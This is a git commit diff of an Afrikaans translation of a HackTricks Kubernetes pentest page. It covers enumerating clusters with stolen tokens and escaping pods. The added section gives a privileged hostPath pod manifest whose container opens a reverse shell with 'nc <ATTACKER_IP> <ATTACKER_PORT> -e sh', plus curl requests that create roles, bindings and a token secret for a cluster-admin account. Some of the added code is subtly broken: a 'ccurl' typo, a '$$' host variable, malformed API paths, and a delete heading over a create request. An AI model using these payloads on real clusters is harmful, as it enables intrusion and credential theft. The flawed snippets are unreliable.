mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera
This commit is contained in:
@@ -4,9 +4,9 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
As jy gecompromitteerde toegang tot 'n masjien het, mag die gebruiker toegang hê tot 'n paar Kubernetes platforms. Die token is gewoonlik geleë in 'n lêer wat deur die **env var `KUBECONFIG`** of **binne `~/.kube`** aangedui word.
|
||||
As jy gecompromitteerde toegang tot 'n masjien het, mag die gebruiker toegang hê tot 'n paar Kubernetes platforms. Die token is gewoonlik geleë in 'n lêer wat deur die **env var `KUBECONFIG`** of **binne `~/.kube`** gewys word.
|
||||
|
||||
In hierdie gids mag jy konfigurasielêers met **tokens en konfigurasies om met die API-bediener te verbind** vind. In hierdie gids kan jy ook 'n kasgids vind met inligting wat voorheen verkry is.
|
||||
In hierdie gids kan jy konfigurasielêers met **tokens en konfigurasies om met die API-bediener te verbind** vind. In hierdie gids kan jy ook 'n kasgids vind met inligting wat voorheen verkry is.
|
||||
|
||||
As jy 'n pod binne 'n kubernetes omgewing gecompromitteer het, is daar ander plekke waar jy tokens en inligting oor die huidige K8 omgewing kan vind:
|
||||
|
||||
@@ -29,11 +29,11 @@ Gewoonlik bevat **een** van die gidsen:
|
||||
|
||||
die lêers:
|
||||
|
||||
- **ca.crt**: Dit is die ca sertifikaat om kubernetes kommunikasies te kontroleer
|
||||
- **ca.crt**: Dit is die ca sertifikaat om kubernetes kommunikasie te kontroleer
|
||||
- **namespace**: Dit dui die huidige naamruimte aan
|
||||
- **token**: Dit bevat die **diens token** van die huidige pod.
|
||||
|
||||
Nou dat jy die token het, kan jy die API-bediener binne die omgewingsvariabele **`KUBECONFIG`** vind. Vir meer inligting, voer `(env | set) | grep -i "kuber|kube`**`"`** uit.
|
||||
Nou dat jy die token het, kan jy die API-bediener binne die omgewingsvariabele **`KUBECONFIG`** vind. Vir meer inligting, hardloop `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
|
||||
Die diensrekening token word onderteken deur die sleutel wat in die lêer **sa.key** geleë is en geverifieer deur **sa.pub**.
|
||||
|
||||
@@ -55,20 +55,20 @@ As jy nie weet wat **RBAC** is nie, **lees hierdie afdeling**.
|
||||
|
||||
## GUI Toepassings
|
||||
|
||||
- **k9s**: 'n GUI wat 'n kubernetes kluster vanaf die terminale opnoem. Kyk na die opdragte in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Skryf `:namespace` en kies alles om dan hulpbronne in al die naamruimtes te soek.
|
||||
- **k9s**: 'n GUI wat 'n kubernetes kluster vanaf die terminale opnoem. Kyk na die opdragte in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Skryf `:namespace` en kies alles om dan hulpbronne in al die naamruimtes te soek.
|
||||
- **k8slens**: Dit bied 'n paar gratis proefdae aan: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumerasie CheatSheet
|
||||
|
||||
Om 'n K8s omgewing te enumereer, het jy 'n paar van hierdie nodig:
|
||||
Om 'n K8s omgewing te enumerate, het jy 'n paar van hierdie nodig:
|
||||
|
||||
- 'n **geldige autentikasie token**. In die vorige afdeling het ons gesien waar om 'n gebruikers token en 'n diensrekening token te soek.
|
||||
- Die **adres (**_**https://host:port**_**) van die Kubernetes API**. Dit kan gewoonlik in die omgewingsvariabeles en/of in die kube konfigurasielêer gevind word.
|
||||
- **Opsioneel**: Die **ca.crt om die API-bediener te verifieer**. Dit kan in dieselfde plekke gevind word waar die token gevind kan word. Dit is nuttig om die API-bediener sertifikaat te verifieer, maar deur `--insecure-skip-tls-verify` met `kubectl` of `-k` met `curl` te gebruik, sal jy dit nie nodig hê nie.
|
||||
- **Opsioneel**: Die **ca.crt om die API-bediener te verifieer**. Dit kan gevind word in dieselfde plekke waar die token gevind kan word. Dit is nuttig om die API-bediener sertifikaat te verifieer, maar deur `--insecure-skip-tls-verify` met `kubectl` of `-k` met `curl` te gebruik, sal jy dit nie nodig hê nie.
|
||||
|
||||
Met daardie besonderhede kan jy **kubernetes enumereer**. As die **API** om een of ander rede **toeganklik** is deur die **Internet**, kan jy net daardie inligting aflaai en die platform vanaf jou gasheer enumereer.
|
||||
Met daardie besonderhede kan jy **kubernetes enumerate**. As die **API** om een of ander rede **toeganklik** is deur die **Internet**, kan jy net daardie inligting aflaai en die platform vanaf jou gasheer opnoem.
|
||||
|
||||
Echter, gewoonlik is die **API-bediener binne 'n interne netwerk**, daarom sal jy 'n **tonnel** deur die gecompromitteerde masjien moet skep om toegang daartoe vanaf jou masjien te verkry, of jy kan die **[kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux)** binêre oplaai, of **`curl/wget/anything`** gebruik om rou HTTP versoeke aan die API-bediener te doen.
|
||||
Echter, gewoonlik is die **API-bediener binne 'n interne netwerk**, daarom sal jy moet **'n tonnel skep** deur die gecompromitteerde masjien om toegang daartoe vanaf jou masjien te verkry, of jy kan die **kubectl** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binêre oplaai, of **`curl/wget/anything`** gebruik om rou HTTP versoeke aan die API-bediener te doen.
|
||||
|
||||
### Verskille tussen `list` en `get` werkwoorde
|
||||
|
||||
@@ -76,7 +76,7 @@ Met **`get`** toestemmings kan jy inligting van spesifieke bates (_`describe` op
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
As jy die **`list`** toestemming het, mag jy API versoeke uitvoer om 'n tipe bate op te som (_`get` opsie in `kubectl`_):
|
||||
As jy die **`list`** toestemming het, mag jy API versoeke uitvoer om 'n tipe bates op te som (_`get` opsie in `kubectl`_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
@@ -115,11 +115,11 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
|
||||
Met die token en die adres van die API-server gebruik jy kubectl of curl om toegang te verkry soos hier aangedui:
|
||||
|
||||
Standaard kommunikeer die APISERVER met die `https://` skema.
|
||||
Standaard kommunikeer die APISERVER met `https://` skema
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> as daar geen `https://` in die url is nie, kan jy 'n fout soos 'Bad Request' kry.
|
||||
> as daar geen `https://` in die URL is nie, kan jy 'n fout soos 'Bad Request' kry.
|
||||
|
||||
Jy kan 'n [**amptelike kubectl cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) vind. Die doel van die volgende afdelings is om verskillende opsies om te enumerate en die nuwe K8s wat jy toegang tot verkry het, in 'n geordende manier voor te stel.
|
||||
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
As jy daarin geslaag het om 'n paar gebruikers se akrediteerbesonderhede te steel, kan jy **hulle plaaslik konfigureer** met iets soos:
|
||||
As jy daarin geslaag het om 'n paar gebruikers se geloofsbriewe te steel, kan jy **hulle plaaslik konfigureer** met iets soos:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -197,7 +197,7 @@ kurl -i -s -k -X $'POST' \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
'n Ander manier om jou bevoegdhede te kontroleer is deur die hulpmiddel: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
'n Ander manier om jou bevoegdhede te kontroleer, is deur die hulpmiddel: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
|
||||
Jy kan meer leer oor **Kubernetes RBAC** in:
|
||||
|
||||
@@ -290,7 +290,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
|
||||
### Kry Ontplooiings
|
||||
|
||||
Die ontplooiings spesifiseer die **komponente** wat **uitgevoer** moet word.
|
||||
Die ontplooiings spesifiseer die **komponente** wat moet **loop**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
|
||||
### Kry Dienste
|
||||
|
||||
Kubernetes **dienste** word gebruik om 'n **diens op 'n spesifieke poort en IP bloot te stel** (wat as 'n laaibalanser vir die pods wat werklik die diens bied, sal optree). Dit is interessant om te weet waar jy ander dienste kan vind om te probeer aanval.
|
||||
Kubernetes **dienste** word gebruik om 'n **diens op 'n spesifieke poort en IP bloot te stel** (wat as 'n laaibalans vir die pods wat werklik die diens bied, sal optree). Dit is interessant om te weet waar jy ander dienste kan vind om te probeer aanval.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -365,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
|
||||
|
||||
### Verkry DaemonSets
|
||||
|
||||
**DaemonSets** maak dit moontlik om te verseker dat 'n **spesifieke pod in al die nodes** van die kluster (of in die geselekteerde) loop. As jy die DaemonSet verwyder, sal die pods wat deur dit bestuur word ook verwyder word.
|
||||
**DaeamonSets** maak dit moontlik om te verseker dat 'n **spesifieke pod in al die nodes** van die kluster (of in die geselekteerde) loop. As jy die DaemonSet verwyder, sal die pods wat deur dit bestuur word ook verwyder word.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -383,7 +383,7 @@ kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
|
||||
### Kry cronjob
|
||||
|
||||
Cron jobs laat jou toe om die bekendstelling van 'n pod wat 'n aksie sal uitvoer, te skeduleer met 'n crontab-agtige sintaksis.
|
||||
Cron jobs laat jou toe om die bekendstelling van 'n pod wat 'n aksie sal uitvoer, te skeduleer met behulp van crontab-agtige sintaksis.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -401,7 +401,7 @@ kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
|
||||
### Kry configMap
|
||||
|
||||
configMap bevat altyd 'n baie inligting en konfigurasie lêer wat aan toepassings verskaf word wat in die kubernetes loop. Gewoonlik kan jy 'n baie wagwoorde, geheime, tokens vind wat gebruik word om te verbind en te valideer met ander interne/buite dienste.
|
||||
configMap bevat altyd 'n baie inligting en konfigurasie lêer wat aan toepassings verskaf word wat in die kubernetes loop. Gewoonlik kan jy 'n baie wagwoorde, geheime, tokens vind wat gebruik word om te verbind en te valideer met ander interne/eksterne dienste.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -417,7 +417,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Kry Netwerk Beleide / Cilium Netwerk Beleide
|
||||
### Kry Netwerkbeleide / Cilium Netwerkbeleide
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Eerste Tab" }}
|
||||
@@ -439,7 +439,7 @@ k get all
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **Kry alle hulpbronne bestuur deur helm**
|
||||
### **Kry alle hulpbronne wat deur helm bestuur word**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -459,7 +459,11 @@ k top pod --all-namespaces
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Ontsnap uit die pod
|
||||
## Interaksie met die kluster sonder om kubectl te gebruik
|
||||
|
||||
Aangesien die Kubernetes-beheervlak 'n REST-volle API blootstel, kan jy handmatig HTTP-versoeke saamstel en dit met ander gereedskap soos **curl** of **wget** stuur.
|
||||
|
||||
### Ontsnapping uit die pod
|
||||
|
||||
As jy in staat is om nuwe pods te skep, mag jy in staat wees om uit hulle te ontsnap na die node. Om dit te doen, moet jy 'n nuwe pod skep met 'n yaml-lêer, oor te skakel na die geskepte pod en dan chroot in die node se stelsel. Jy kan reeds bestaande pods as verwysing vir die yaml-lêer gebruik, aangesien hulle bestaande beelde en paaie vertoon.
|
||||
```bash
|
||||
@@ -517,6 +521,212 @@ chroot /root /bin/bash
|
||||
```
|
||||
Inligting verkry uit: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### Skep 'n bevoorregte pod
|
||||
|
||||
Die ooreenstemmende yaml-lêer is soos volg:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: everything-allowed-exec-pod
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
hostIPC: true
|
||||
containers:
|
||||
- name: everything-allowed-pod
|
||||
image: alpine
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
|
||||
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Skep die pod met curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 478' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Verwyder 'n pod
|
||||
|
||||
Verwyder 'n pod met curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
POD_NAME="everything-allowed-exec-pod"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||||
```
|
||||
### Skep 'n Diensrekening
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Length: 109' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Verwyder 'n Diensrekening
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
SA_NAME=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||||
```
|
||||
### Skep 'n Rol
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 203' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Verwyder 'n Rol
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
ROLE_NAME=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
|
||||
```
|
||||
### Skep 'n Rol Bindings
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 816' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Verwyder 'n Rolbinding
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
ROLE_BINDING_NAME=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
|
||||
```
|
||||
### Verwyder 'n Geheim
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 219' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Verwyder 'n Geheim
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
SECRET_NAME=""
|
||||
|
||||
ccurl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
{{#ref}}
|
||||
|
||||
Reference in New Issue
Block a user